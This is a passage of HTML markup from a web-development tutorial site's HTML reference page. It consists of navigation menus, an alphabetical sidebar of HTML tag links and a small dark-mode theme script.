href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/js/default.asp">Learn JavaScript</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp">Learn jQuery</a> <a class="w3-bar-item w3-button" href="/react/default.asp">Learn React</a> <a class="w3-bar-item w3-button" href="/angular/default.asp">Learn AngularJS</a> <a class="w3-bar-item w3-button" href="/js/js_json_intro.asp">Learn JSON</a> <a class="w3-bar-item w3-button" href="/js/js_ajax_intro.asp">Learn AJAX</a> <a class="w3-bar-item w3-button" href="/appml/default.asp">Learn AppML</a> <a class="w3-bar-item w3-button" href="/w3js/default.asp">Learn W3.JS</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/default.asp">Learn Python</a> <a class="w3-bar-item w3-button" href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" href="/whatis/default.asp">Web Development</a> <a class="w3-bar-item w3-button" href="/tryit/default.asp">Code Editor</a> <a class="w3-bar-item w3-button" href="/typingspeed/default.asp">Test Your Typing Speed</a> <a class="w3-bar-item w3-button" href="/codegame/index.html" target="_blank">Play a Code Game</a> <a class="w3-bar-item w3-button" href="/cybersecurity/index.php">Cyber Security</a> <a class="w3-bar-item w3-button" href="/accessibility/index.php">Accessibility</a> </div> <div class="w3-col l3 m6 w3-hide-medium"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" href="/tags/ref_eventattributes.asp">HTML Event Reference</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">HTML Color Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_attributes.asp">HTML Attribute Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_canvas.asp">HTML Canvas Reference</a> <a class="w3-bar-item w3-button" href="/graphics/svg_reference.asp">HTML SVG Reference</a> <a class="w3-bar-item w3-button" href="/graphics/google_maps_reference.asp">Google Maps Reference</a> <h3 class="w3-margin-top">CSS</h3> <a class="w3-bar-item w3-button" href="/cssref/default.asp">CSS Reference</a> <a class="w3-bar-item w3-button" href="/cssref/css3_browsersupport.asp">CSS Browser Support</a> <a class="w3-bar-item w3-button" href="/cssref/css_selectors.asp">CSS Selector Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap 3 Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Character Sets</h3> <a class="w3-bar-item w3-button" href="/charsets/default.asp">HTML Character Sets</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ascii.asp">HTML ASCII</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML ANSI</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML Windows-1252</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_8859.asp">HTML ISO-8859-1</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_symbols.asp">HTML Symbols</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_utf8.asp">HTML UTF-8</a> </div> </div> <br class="hidesm"> </div> </nav> <nav id="nav_exercises" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('exercises')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Exercises and Quizzes</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:155px;font-size:21px" href="/exercises/index.php">Exercises</a></h3> <a class="w3-bar-item w3-button" href="/html/html_exercises.asp">HTML Exercises</a> <a class="w3-bar-item w3-button" href="/css/css_exercises.asp">CSS Exercises</a> <a class="w3-bar-item w3-button" href="/js/js_exercises.asp">JavaScript Exercises</a> <a class="w3-bar-item w3-button" href="/sql/sql_exercises.asp">SQL Exercises</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_exercises.asp">MySQL Exercises</a> <a class="w3-bar-item w3-button" href="/php/php_exercises.asp">PHP Exercises</a> <a class="w3-bar-item w3-button" href="/python/python_exercises.asp">Python Exercises</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_exercises.asp">NumPy Exercises</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_exercises.asp">Pandas Exercises</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_exercises.php">SciPy Exercises</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_exercises.asp">jQuery Exercises</a> <a class="w3-bar-item w3-button" href="/java/java_exercises.asp">Java Exercises</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_exercises.asp">C++ Exercises</a> <a class="w3-bar-item w3-button" href="/cs/cs_exercises.asp">C# Exercises</a> <a class="w3-bar-item w3-button" href="/r/r_exercises.asp">R Exercises</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_exercises.php">Kotlin Exercises</a> <a class="w3-bar-item w3-button" href="/go/go_exercises.php">Go Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_exercises.asp">Bootstrap Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_exercises.asp">Bootstrap 4 Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_exercises.php">Bootstrap 5 Exercises</a> <a class="w3-bar-item w3-button" href="/git/git_exercises.asp">Git Exercises</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="/quiztest/default.asp">Quizzes</a></h3> <a class="w3-bar-item w3-button" href="/html/html_quiz.asp" target="_top">HTML Quiz</a> <a class="w3-bar-item w3-button" href="/css/css_quiz.asp" target="_top">CSS Quiz</a> <a class="w3-bar-item w3-button" href="/js/js_quiz.asp" target="_top">JavaScript Quiz</a> <a class="w3-bar-item w3-button" href="/sql/sql_quiz.asp" target="_top">SQL Quiz</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_quiz.asp" target="_top">MySQL Quiz</a> <a class="w3-bar-item w3-button" href="/php/php_quiz.asp" target="_top">PHP Quiz</a> <a class="w3-bar-item w3-button" href="/python/python_quiz.asp" target="_top">Python Quiz</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_quiz.asp" target="_top">NumPy Quiz</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_quiz.asp" target="_top">Pandas Quiz</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_quiz.php" target="_top">SciPy Quiz</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_quiz.asp" target="_top">jQuery Quiz</a> <a class="w3-bar-item w3-button" href="/java/java_quiz.asp" target="_top">Java Quiz</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_quiz.asp" target="_top">C++ Quiz</a> <a class="w3-bar-item w3-button" href="/cs/cs_quiz.asp" target="_top">C# Quiz</a> <a class="w3-bar-item w3-button" href="/r/r_quiz.asp" target="_top">R Quiz</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_quiz.php" target="_top">Kotlin Quiz</a> <a class="w3-bar-item w3-button" href="/xml/xml_quiz.asp" target="_top">XML Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_quiz.asp" target="_top">Bootstrap Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_quiz.asp" target="_top">Bootstrap 4 Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_quiz.php" target="_top">Bootstrap 5 Quiz</a> <a class="w3-bar-item w3-button" href="/cybersecurity/cybersecurity_quiz.php">Cyber Security Quiz</a> <a class="w3-bar-item w3-button" href="/accessibility/accessibility_quiz.php">Accessibility Quiz</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="https://courses.w3schools.com/" target="_blank">Courses</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/html" target="_blank">HTML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/css" target="_blank">CSS Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/javascript" target="_blank">JavaScript Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/front-end" target="_blank">Front End Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/sql" target="_blank">SQL Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/php" target="_blank">PHP Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/python" target="_blank">Python Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/numpy-fundamentals" target="_blank">NumPy Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/pandas-fundamentals" target="_blank">Pandas Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/data-analytics" target="_blank">Data Analytics Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/jquery" target="_blank">jQuery Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/java" target="_blank">Java Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/cplusplus" target="_blank">C++ Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/c-sharp" target="_blank">C# Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/r-fundamentals" target="_blank">R Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/xml" target="_blank">XML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/introduction-to-cyber-security" target="_blank">Cyber Security Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/accessibility-fundamentals" target="_blank">Accessibility Course</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:150px;font-size:21px" href="https://courses.w3schools.com/browse/certifications" target="_blank">Certificates</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/html-certification-exam" target="_blank">HTML Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/css-certification-exam" target="_blank">CSS Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/javascript-certification-exam" target="_blank">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/front-end-certification-exam" target="_blank">Front End Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/sql-certification-exam" target="_blank">SQL Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/php-certification-exam" target="_blank">PHP Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/python-certificaftion-exam" target="_blank">Python Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/data-science-certification-exam" target="_blank">Data Science Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-3-certification-exam" target="_blank">Bootstrap 3 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-4-certification-exam" target="_blank">Bootstrap 4 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/jquery-certification-exam" target="_blank">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/java-certification-exam" target="_blank">Java Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/c-certification-exam" target="_blank">C++ Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/react-certification-exam" target="_blank">React Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/xml-certification-exam" target="_blank">XML Certificate</a> </div> </div> <br class="hidesm"> </div> </nav> </div> </div> <div id="myAccordion" class="w3-card-2 w3-center w3-hide-large w3-hide-medium ws-grey" style="width: 100%; position: absolute; display: none; padding-top: 44px;"> <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-xxlarge w3-right">×</a><br> <div class="w3-container w3-padding-32"> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('tutorials');" href="javascript:void(0);">Tutorials <i class="fa fa-caret-down"></i></a> <div id="sectionxs_tutorials" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('references')" href="javascript:void(0);">References <i class="fa fa-caret-down"></i></a> <div id="sectionxs_references" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('exercises')" href="javascript:void(0);">Exercises <i class="fa fa-caret-down"></i></a> <div id="sectionxs_exercises" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" href="/cert/default.asp" target="_blank">Paid Courses</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Spaces</a> <a class="w3-button w3-block" style="font-size:22px;" target="_blank" href="https://www.w3schools.com/videos/index.php" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')" title="Video Tutorials">Videos</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://shop.w3schools.com" target="_blank">Shop</a> <a class="w3-button w3-block" style="font-size:22px;" href="/pro/index.php">Pro</a> </div> </div> <script> ( function setThemeCheckboxes() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.getElementById("radio_darkcode").checked = true; } if (y == "dark") { document.getElementById("radio_darkpage").checked = true; } })(); function mouseoverdarkicon() { if(window.matchMedia("(pointer: coarse)").matches) { return false; } var a = document.getElementById("darkmodemenu"); a.style.top = "44px"; } function mouseoutofdarkicon() { var a = document.getElementById("darkmodemenu"); a.style.top = "-40px"; } function changepagetheme(n) { var a = document.getElementById("radio_darkcode"); var b = document.getElementById("radio_darkpage"); document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); if (a.checked && b.checked) { localStorage.setItem("preferredmode", "light"); localStorage.setItem("preferredpagemode", "light"); a.checked = false; b.checked = false; } else { document.body.className += " darktheme"; document.body.className += " darkpagetheme"; localStorage.setItem("preferredmode", "dark"); localStorage.setItem("preferredpagemode", "dark"); a.checked = true; b.checked = true; } } function click_darkpage() { var b = document.getElementById("radio_darkpage"); if (b.checked) { document.body.className += " darkpagetheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "dark"); } else { document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "light"); } } function click_darkcode() { var a = document.getElementById("radio_darkcode"); if (a.checked) { document.body.className += " darktheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "dark"); } else { document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "light"); } } </script> <div class="w3-sidebar w3-collapse" id="sidenav" style="top: 44px; display: none;"> <div id="leftmenuinner" style="padding-top: 44px;"> <div id="leftmenuinnerinner"> <!-- <a href='javascript:void(0)' onclick='close_menu()' class='w3-button w3-hide-large w3-large w3-display-topright' style='right:16px;padding:3px 12px;font-weight:bold;'>&times;</a>--> <h2 class="left"><span class="left_h2">HTML</span> Reference</h2> <a target="_top" href="default.asp">HTML by Alphabet</a> <a target="_top" href="ref_byfunc.asp">HTML by Category</a> <a target="_top" href="ref_html_browsersupport.asp">HTML Browser Support</a> <a target="_top" href="ref_attributes.asp">HTML Attributes</a> <a target="_top" href="ref_standardattributes.asp">HTML Global Attributes</a> <a target="_top" href="ref_eventattributes.asp">HTML Events</a> <a target="_top" href="ref_colornames.asp">HTML Colors</a> <a target="_top" href="ref_canvas.asp">HTML Canvas</a> <a target="_top" href="ref_av_dom.asp">HTML Audio/Video</a> <a target="_top" href="ref_charactersets.asp">HTML Character Sets</a> <a target="_top" href="ref_html_dtd.asp">HTML Doctypes</a> <a target="_top" href="ref_urlencode.asp">HTML URL Encode</a> <a target="_top" href="ref_language_codes.asp">HTML Language Codes</a> <a target="_top" href="ref_country_codes.asp">HTML Country Codes</a> <a target="_top" href="ref_httpmessages.asp">HTTP Messages</a> <a target="_top" href="ref_httpmethods.asp">HTTP Methods</a> <a target="_top" href="ref_pxtoemconversion.asp">PX to EM Converter</a> <a target="_top" href="ref_keyboardshortcuts.asp">Keyboard Shortcuts</a> <br> <div class="notranslate"> <h2 class="left"><span class="left_h2">HTML</span> Tags</h2> <a target="_top" href="tag_comment.asp">&lt;!--&gt;</a> <a target="_top" href="tag_doctype.asp">&lt;!DOCTYPE&gt;</a> <a target="_top" href="tag_a.asp">&lt;a&gt;</a> <a target="_top" href="tag_abbr.asp">&lt;abbr&gt;</a> <a target="_top" href="tag_acronym.asp">&lt;acronym&gt;</a> <a target="_top" href="tag_address.asp">&lt;address&gt;</a> <a target="_top" href="tag_applet.asp">&lt;applet&gt;</a> <a target="_top" href="tag_area.asp">&lt;area&gt;</a> <a target="_top" href="tag_article.asp">&lt;article&gt;</a> <a target="_top" href="tag_aside.asp">&lt;aside&gt;</a> <a target="_top" href="tag_audio.asp">&lt;audio&gt;</a> <a target="_top" href="tag_b.asp">&lt;b&gt;</a> <a target="_top" href="tag_base.asp">&lt;base&gt;</a> <a target="_top" href="tag_basefont.asp">&lt;basefont&gt;</a> <a target="_top" href="tag_bdi.asp">&lt;bdi&gt;</a> <a target="_top" href="tag_bdo.asp">&lt;bdo&gt;</a> <a target="_top" href="tag_big.asp">&lt;big&gt;</a> <a target="_top" href="tag_blockquote.asp">&lt;blockquote&gt;</a> <a target="_top" href="tag_body.asp">&lt;body&gt;</a> <a target="_top" href="tag_br.asp">&lt;br&gt;</a> <a target="_top" href="tag_button.asp">&lt;button&gt;</a> <a target="_top" href="tag_canvas.asp">&lt;canvas&gt;</a> <a target="_top" href="tag_caption.asp">&lt;caption&gt;</a> <a target="_top" href="tag_center.asp">&lt;center&gt;</a> <a target="_top" href="tag_cite.asp">&lt;cite&gt;</a> <a target="_top" href="tag_code.asp">&lt;code&gt;</a> <a target="_top" href="tag_col.asp">&lt;col&gt;</a> <a target="_top" href="tag_colgroup.asp">&lt;colgroup&gt;</a> <a target="_top" href="tag_data.asp">&lt;data&gt;</a> <a target="_top" href="tag_datalist.asp">&lt;datalist&gt;</a> <a target="_top" href="tag_dd.asp">&lt;dd&gt;</a> <a target="_top" href="tag_del.asp">&lt;del&gt;</a> <a target="_top" href="tag_details.asp">&lt;details&gt;</a> <a target="_top" href="tag_dfn.asp">&lt;dfn&gt;</a> <a target="_top" href="tag_dialog.asp">&lt;dialog&gt;</a> <a target="_top" href="tag_dir.asp">&lt;dir&gt;</a> <a target="_top" href="tag_div.asp">&lt;div&gt;</a> <a target="_top" href="tag_dl.asp">&lt;dl&gt;</a> <a target="_top" href="tag_dt.asp">&lt;dt&gt;</a> <a target="_top" href="tag_em.asp">&lt;em&gt;</a> <a target="_top" href="tag_embed.asp">&lt;embed&gt;</a> <a target="_top" href="tag_fieldset.asp">&lt;fieldset&gt;</a> <a target="_top" href="tag_figcaption.asp">&lt;figcaption&gt;</a> <a target="_top" href="tag_figure.asp">&lt;figure&gt;</a> <a target="_top" href="tag_font.asp">&lt;font&gt;</a> <a target="_top" href="tag_footer.asp">&lt;footer&gt;</a> <a target="_top" href="tag_form.asp">&lt;form&gt;</a> <a target="_top" href="tag_frame.asp">&lt;frame&gt;</a> <a target="_top" href="tag_frameset.asp">&lt;frameset&gt;</a> <a target="_top" href="tag_hn.asp">&lt;h1&gt; - &lt;h6&gt;</a> <a target="_top" href="tag_head.asp">&lt;head&gt;</a> <a target="_top" href="tag_header.asp">&lt;header&gt;</a> <a target="_top" href="tag_hr.asp">&lt;hr&gt;</a> <a target="_top" href="tag_html.asp">&lt;html&gt;</a> <a target="_top" href="tag_i.asp">&lt;i&gt;</a> <a target="_top" href="tag_iframe.asp">&lt;iframe&gt;</a> <a target="_top" href="tag_img.asp">&lt;img&gt;</a> <a target="_top" href="tag_input.asp">&lt;input&gt;</a> <a target="_top" href="tag_ins.asp">&lt;ins&gt;</a> <a target="_top" href="tag_kbd.asp">&lt;kbd&gt;</a> <a target="_top" href="tag_label.asp">&lt;label&gt;</a> <a target="_top" href="tag_legend.asp">&lt;legend&gt;</a> <a target="_top" href="tag_li.asp">&lt;li&gt;</a> <a target="_top" href="tag_link.asp">&lt;link&gt;</a> <a target="_top" href="tag_main.asp">&lt;main&gt;</a> <a target="_top" href="tag_map.asp">&lt;map&gt;</a> <a target="_top" href="tag_mark.asp">&lt;mark&gt;</a> <a target="_top" href="tag_meta.asp">&lt;meta&gt;</a> <a target="_top" href="tag_meter.asp">&lt;meter&gt;</a> <a target="_top" href="tag_nav.asp">&lt;nav&gt;</a> <a target="_top" href="tag_noframes.asp">&lt;noframes&gt;</a> <a target="_top" href="tag_noscript.asp">&lt;noscript&gt;</a> <a target="_top" href="tag_object.asp">&lt;object&gt;</a> <a target="_top" href="tag_ol.asp">&lt;ol&gt;</a> <a target="_top" href="tag_optgroup.asp">&lt;optgroup&gt;</a> <a target="_top" href="tag_option.asp">&lt;option&gt;</a> <a target="_top" href="tag_output.asp">&lt;output&gt;</a> <a target="_top" href="tag_p.asp" class="active">&lt;p&gt;</a> <a target="_top" 